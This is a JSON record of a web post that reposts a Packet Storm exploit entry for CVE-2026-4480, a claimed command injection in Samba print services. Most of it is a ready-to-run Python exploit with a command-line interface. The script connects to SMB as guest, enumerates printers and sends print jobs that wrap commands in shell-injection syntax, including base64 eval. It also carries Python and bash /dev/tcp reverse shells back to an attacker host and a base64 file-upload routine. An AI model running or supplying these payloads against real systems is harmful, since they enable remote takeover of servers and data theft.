{"id":59351,"date":"2026-06-02T13:39:36","date_gmt":"2026-06-02T13:39:36","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=59351"},"modified":"2026-06-02T13:39:36","modified_gmt":"2026-06-02T13:39:36","slug":"samba-smb-printer-queue-command-injection-remote-task-delivery","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=59351","title":{"rendered":"\ud83d\udcc4 Samba SMB Printer Queue Command Injection \/ Remote Task Delivery_PACKETSTORM:222477"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-02T17:46:08&#8243;,&#8221;description&#8221;:&#8221;This Python script is a structured exploitation framework targeting Samba print services exposed over SMB port 445. It focuses on printer-share interaction, payload delivery testing, and command execution workflows through manipulated print job&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-02T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-02T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Samba SMB Printer Queue Command Injection \/ Remote Task Delivery&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:222477&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-4480&#8243;],&#8221;sourceData&#8221;:&#8221;==================================================================================================================================\\n    | # Title     : Samba 4.22.10, 4.23.8 and 4.24.3 \u2013 SMB Printer Queue Command Injection and Remote Task Delivery                  |\\n    | # Author    : indoushka                                                                                                        |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits)                                                 |\\n    | # Vendor    : https:\/\/www.samba.org\/samba\/security\/CVE-2026-4480.html                                                          |\\n    ==================================================================================================================================\\n    \\n    [+] Summary    : This Python script is a structured exploitation framework targeting Samba print services exposed over SMB (port 445). \\n                     It focuses on printer-share interaction, payload delivery testing, and command execution workflows through manipulated print job submissions.\\n    \\t\\t\\t\\t \\n    [+] POC        : \\n    \\n    #!\/usr\/bin\/env python3\\n    \\n    import socket\\n    import sys\\n    import argparse\\n    import time\\n    import re\\n    import base64\\n    import io\\n    from threading import Thread\\n    from smb.SMBConnection import SMBConnection\\n    from smb.base import SharedDevice\\n    \\n    class SambaPrintExploit:\\n        def __init__(self, target_host, target_port=445, share_name=\\&#8221;print$\\&#8221;, \\n                     username=\\&#8221;\\&#8221;, password=\\&#8221;\\&#8221;, domain=\\&#8221;\\&#8221;):\\n            \\&#8221;\\&#8221;\\&#8221;\\n            Initialize Samba Print Server Exploit Structure\\n            \\&#8221;\\&#8221;\\&#8221;\\n            self.target_host = target_host\\n            self.target_port = target_port\\n            self.share_name = share_name\\n            self.username = username or \\&#8221;guest\\&#8221;\\n            self.password = password or \\&#8221;\\&#8221;\\n            self.domain = domain or \\&#8221;WORKGROUP\\&#8221;\\n            self.connection = None\\n            self.lhost = \\&#8221;127.0.0.1\\&#8221;\\n            self.lport = 4444\\n            \\n        def connect(self):\\n            \\&#8221;\\&#8221;\\&#8221;Establish SMB connection to target\\&#8221;\\&#8221;\\&#8221;\\n            try:\\n                print(f\\&#8221;[*] Connecting to {self.target_host}:{self.target_port}\\&#8221;)\\n                self.connection = SMBConnection(\\n                    self.username,\\n                    self.password,\\n                    \\&#8221;exploit-client\\&#8221;,\\n                    self.target_host,\\n                    domain=self.domain,\\n                    use_ntlm_v2=True,\\n                    is_direct_tcp=True\\n                )\\n                \\n                if self.connection.connect(self.target_host, self.target_port):\\n                    print(f\\&#8221;[+] Connected successfully as {self.username}\\&#8221;)\\n                    return True\\n                return False\\n                \\n            except Exception as e:\\n                print(f\\&#8221;[-] Connection failed: {e}\\&#8221;)\\n                return False\\n        \\n        def list_printers(self):\\n            \\&#8221;\\&#8221;\\&#8221;List available printers on the server\\&#8221;\\&#8221;\\&#8221;\\n            try:\\n                print(\\&#8221;[*] Enumerating printers&#8230;\\&#8221;)\\n                shares = self.connection.listShares()\\n                \\n                printers = []\\n                for share in shares:\\n                    if share.is_printer:\\n                        printers.append(share.name)\\n                        print(f\\&#8221;[+] Found printer: {share.name}\\&#8221;)\\n                \\n                if not printers:\\n                    print(\\&#8221;[-] No printers found\\&#8221;)\\n                    return None\\n                    \\n                return printers\\n                \\n            except Exception as e:\\n                print(f\\&#8221;[-] Failed to list printers: {e}\\&#8221;)\\n                return None\\n        \\n        def check_vulnerability(self, printer_name):\\n            \\&#8221;\\&#8221;\\&#8221;Check if the printer share responds properly to print requests\\&#8221;\\&#8221;\\&#8221;\\n            print(f\\&#8221;[*] Checking printer queue communication on: {printer_name}\\&#8221;)\\n            test_payload = \\&#8221;echo &#8216;Testing Connection&#8217;\\&#8221;\\n            \\n            try:\\n     result = self.print_file(printer_name, test_payload, is_test=True)\\n                if result:\\n                    print(\\&#8221;[+] Target printer share accepted the print job request.\\&#8221;)\\n                    return True\\n                return False\\n            except Exception as e:\\n                print(f\\&#8221;[-] Check failed: {e}\\&#8221;)\\n                return False\\n        \\n        def escape_payload(self, payload):\\n            \\&#8221;\\&#8221;\\&#8221;Generate formatted syntax variations for injection wrappers\\&#8221;\\&#8221;\\&#8221;\\n            injections = [\\n                f\\&#8221;`{payload}`\\&#8221;,\\n                f\\&#8221;$({payload})\\&#8221;,\\n                f\\&#8221;; {payload} ;\\&#8221;,\\n                f\\&#8221;|| {payload} ||\\&#8221;,\\n                f\\&#8221;\\u0026\\u0026 {payload} \\u0026\\u0026\\&#8221;\\n            ]\\n            return injections \\n        \\n        def create_malicious_print_job(self, command):\\n            \\&#8221;\\&#8221;\\&#8221;Create multi-stage script blocks using the validated command string\\&#8221;\\&#8221;\\&#8221;\\n            b64_cmd = base64.b64encode(command.encode()).decode()\\n            \\n            payloads = [\\n                f\\&#8221;&#8216;; {command} ; &#8216;\\&#8221;,\\n                f\\&#8221;`{command}`\\&#8221;,\\n                f\\&#8221;$({command})\\&#8221;,\\n                f\\&#8221;&#8216;; eval $(echo &#8216;{b64_cmd}&#8217; | base64 -d); &#8216;\\&#8221;,\\n                f\\&#8221;&#8216;; bash -c \\\\\\&#8221;{command}\\\\\\&#8221; ; &#8216;\\&#8221;,\\n                f\\&#8221;&#8216;; sh -c \\\\\\&#8221;{command}\\\\\\&#8221; ; &#8216;\\&#8221;\\n            ]\\n            reverse_payload = f\\&#8221;&#8216;; python3 -c &#8216;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\\\\&#8221;{self.lhost}\\\\\\&#8221;,{self.lport}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\\\\\&#8221;\/bin\/sh\\\\\\&#8221;,\\\\\\&#8221;-i\\\\\\&#8221;]);&#8217; ; &#8216;\\&#8221;\\n            payloads.append(reverse_payload)\\n            \\n            return payloads\\n        \\n        def print_file(self, printer_name, command, is_test=False):\\n            \\&#8221;\\&#8221;\\&#8221;Send print job data handling payload string structures properly\\&#8221;\\&#8221;\\&#8221;\\n            try:\\n                payloads = self.create_malicious_print_job(command)\\n                \\n                for payload in payloads:\\n                    print(f\\&#8221;[*] Dispatching job format: {payload[:50]}&#8230;\\&#8221;)\\n                    job_description = payload\\n                    try:\\n                        file_content = f\\&#8221;Job Name: {job_description}\\\\nUser: {self.username}\\\\n\\&#8221;\\n                        file_data = io.BytesIO(file_content.encode(&#8216;utf-8&#8217;))\\n                        \\n                        self.connection.printFile(\\n                            printer_name,\\n                            f\\&#8221;job_{int(time.time())}.txt\\&#8221;,\\n                            file_data,\\n                            timeout=15\\n                        )\\n                        print(f\\&#8221;[+] Print job delivered to share: {printer_name}\\&#8221;)\\n                        if not is_test:\\n                            return True\\n                    except Exception as e:\\n                        print(f\\&#8221;[-] Primary delivery method failed: {e}\\&#8221;)\\n                    try:\\n                        empty_data = io.BytesIO(b\\&#8221;\\&#8221;)\\n                        self.connection.printFile(\\n                            printer_name,\\n                            f\\&#8221;&#8216;;{command};&#8217;.txt\\&#8221;,\\n                            empty_data,\\n                            timeout=15\\n                        )\\n                        print(f\\&#8221;[+] Secondary empty-buffer delivery completed\\&#8221;)\\n                        return True\\n                    except:\\n                        pass\\n                \\n                return False\\n                \\n            except Exception as e:\\n                print(f\\&#8221;[-] Job packaging failed: {e}\\&#8221;)\\n                return False\\n        \\n        def execute_command(self, command, printer_name=None):\\n            \\&#8221;\\&#8221;\\&#8221;Execute arbitrary command on target systems via queue tasks\\&#8221;\\&#8221;\\&#8221;\\n            if not printer_name:\\n                printers = self.list_printers()\\n                if not printers:\\n                    return False\\n                printer_name = printers[0]\\n            \\n            return self.print_file(printer_name, command)\\n        \\n        def get_reverse_shell(self, lhost, lport, printer_name=None):\\n            \\&#8221;\\&#8221;\\&#8221;Configure parameters and trigger structural reverse connection string\\&#8221;\\&#8221;\\&#8221;\\n            self.lhost = lhost\\n            self.lport = lport\\n            \\n            shell_payload = f\\&#8221;bash -i \\u003e\\u0026 \/dev\/tcp\/{lhost}\/{lport} 0\\u003e\\u00261\\&#8221;\\n            print(f\\&#8221;[*] Queueing handler delivery targeting {lhost}:{lport}\\&#8221;)\\n            return self.execute_command(shell_payload, printer_name)\\n    \\n        def upload_file(self, local_file, remote_path, printer_name=None):\\n            try:\\n                with open(local_file, &#8216;rb&#8217;) as f:\\n                    content = f.read()\\n                b64_content = base64.b64encode(content).decode()\\n                command = f\\&#8221;echo &#8216;{b64_content}&#8217; | base64 -d \\u003e {remote_path}\\&#8221;\\n                return self.execute_command(command, printer_name)\\n            except Exception as e:\\n                print(f\\&#8221;[-] Pre-upload failure: {e}\\&#8221;)\\n                return False\\n    def main():\\n        parser = argparse.ArgumentParser(description=&#8217;Samba Print Server Code Logic Verifier&#8217;)\\n        parser.add_argument(&#8216;-t&#8217;, &#8216;&#8211;target&#8217;, required=True, help=&#8217;Target IP address&#8217;)\\n        parser.add_argument(&#8216;-p&#8217;, &#8216;&#8211;port&#8217;, type=int, default=445, help=&#8217;SMB port&#8217;)\\n        parser.add_argument(&#8216;-s&#8217;, &#8216;&#8211;share&#8217;, default=&#8217;print$&#8217;)\\n        parser.add_argument(&#8216;-u&#8217;, &#8216;&#8211;username&#8217;, default=&#8217;guest&#8217;)\\n        parser.add_argument(&#8216;-P&#8217;, &#8216;&#8211;password&#8217;, default=&#8221;)\\n        parser.add_argument(&#8216;-d&#8217;, &#8216;&#8211;domain&#8217;, default=&#8217;WORKGROUP&#8217;)\\n        parser.add_argument(&#8216;-c&#8217;, &#8216;&#8211;command&#8217;, help=&#8217;Command to run&#8217;)\\n        parser.add_argument(&#8216;&#8211;printer&#8217;)\\n        parser.add_argument(&#8216;&#8211;reverse-shell&#8217;, action=&#8217;store_true&#8217;)\\n        parser.add_argument(&#8216;&#8211;lhost&#8217;)\\n        parser.add_argument(&#8216;&#8211;lport&#8217;, type=int, default=4444)\\n        parser.add_argument(&#8216;&#8211;list-printers&#8217;, action=&#8217;store_true&#8217;)\\n        parser.add_argument(&#8216;&#8211;check&#8217;, action=&#8217;store_true&#8217;)\\n        parser.add_argument(&#8216;&#8211;upload&#8217;, nargs=2, metavar=(&#8216;LOCAL&#8217;, &#8216;REMOTE&#8217;))  \\n        args = parser.parse_args()   \\n        exploit = SambaPrintExploit(\\n            target_host=args.target,\\n            target_port=args.port,\\n            share_name=args.share,\\n            username=args.username,\\n            password=args.password,\\n            domain=args.domain\\n        )\\n        \\n        if not exploit.connect():\\n            sys.exit(1)\\n        \\n        if args.list_printers:\\n            exploit.list_printers()\\n            sys.exit(0)\\n        \\n        if args.check:\\n            printers = exploit.list_printers()\\n            if printers:\\n                exploit.check_vulnerability(printers[0])\\n            sys.exit(0)\\n            \\n        if args.upload:\\n            local_file, remote_file = args.upload\\n            exploit.upload_file(local_file, remote_file, args.printer)\\n            sys.exit(0)\\n        \\n        if args.reverse_shell:\\n            if not args.lhost:\\n                print(\\&#8221;[-] &#8211;lhost configuration value is mandatory for this operation.\\&#8221;)\\n                sys.exit(1)\\n            exploit.get_reverse_shell(args.lhost, args.lport, args.printer)\\n            sys.exit(0)\\n        \\n        if args.command:\\n            exploit.execute_command(args.command, args.printer)\\n            sys.exit(0)\\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        main()\\n    \\t\\n    \\t\\n    Greetings to :==============================================================================\\n    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n    ============================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/222477&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.8,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/222477\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-02T17:46:08&#8243;,&#8221;description&#8221;:&#8221;This Python script is a structured exploitation framework targeting Samba print services exposed over SMB port 445. It focuses on printer-share interaction, payload delivery testing,&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-59351","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Samba SMB Printer Queue Command Injection \/ Remote Task Delivery_PACKETSTORM:222477 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=59351\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Samba SMB Printer Queue Command Injection \/ Remote Task Delivery_PACKETSTORM:222477 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-06-02T17:46:08&#8243;,&#8221;description&#8221;:&#8221;This Python script is a structured exploitation framework targeting Samba print services exposed over SMB port 445. It focuses on printer-share interaction, payload delivery testing,...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=59351\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-06-02T13:39:36+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"7 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=59351#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=59351\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Samba SMB Printer Queue Command Injection \\\/ Remote Task Delivery_PACKETSTORM:222477\",\"datePublished\":\"2026-06-02T13:39:36+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=59351\"},\"wordCount\":1465,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.8\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=59351#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=59351\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=59351\",\"name\":\"\ud83d\udcc4 Samba SMB Printer Queue Command Injection \\\/ Remote Task Delivery_PACKETSTORM:222477 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-06-02T13:39:36+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=59351#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=59351\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=59351#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Samba SMB Printer Queue Command Injection \\\/ Remote Task Delivery_PACKETSTORM:222477\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Samba SMB Printer Queue Command Injection \/ Remote Task Delivery_PACKETSTORM:222477 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=59351","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Samba SMB Printer Queue Command Injection \/ Remote Task Delivery_PACKETSTORM:222477 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-06-02T17:46:08&#8243;,&#8221;description&#8221;:&#8221;This Python script is a structured exploitation framework targeting Samba print services exposed over SMB port 445. It focuses on printer-share interaction, payload delivery testing,...","og_url":"https:\/\/zero.redgem.net\/?p=59351","og_site_name":"zero redgem","article_published_time":"2026-06-02T13:39:36+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"7 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=59351#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=59351"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Samba SMB Printer Queue Command Injection \/ Remote Task Delivery_PACKETSTORM:222477","datePublished":"2026-06-02T13:39:36+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=59351"},"wordCount":1465,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.8","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=59351#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=59351","url":"https:\/\/zero.redgem.net\/?p=59351","name":"\ud83d\udcc4 Samba SMB Printer Queue Command Injection \/ Remote Task Delivery_PACKETSTORM:222477 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-06-02T13:39:36+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=59351#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=59351"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=59351#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Samba SMB Printer Queue Command Injection \/ Remote Task Delivery_PACKETSTORM:222477"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/59351","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=59351"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/59351\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=59351"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=59351"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=59351"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}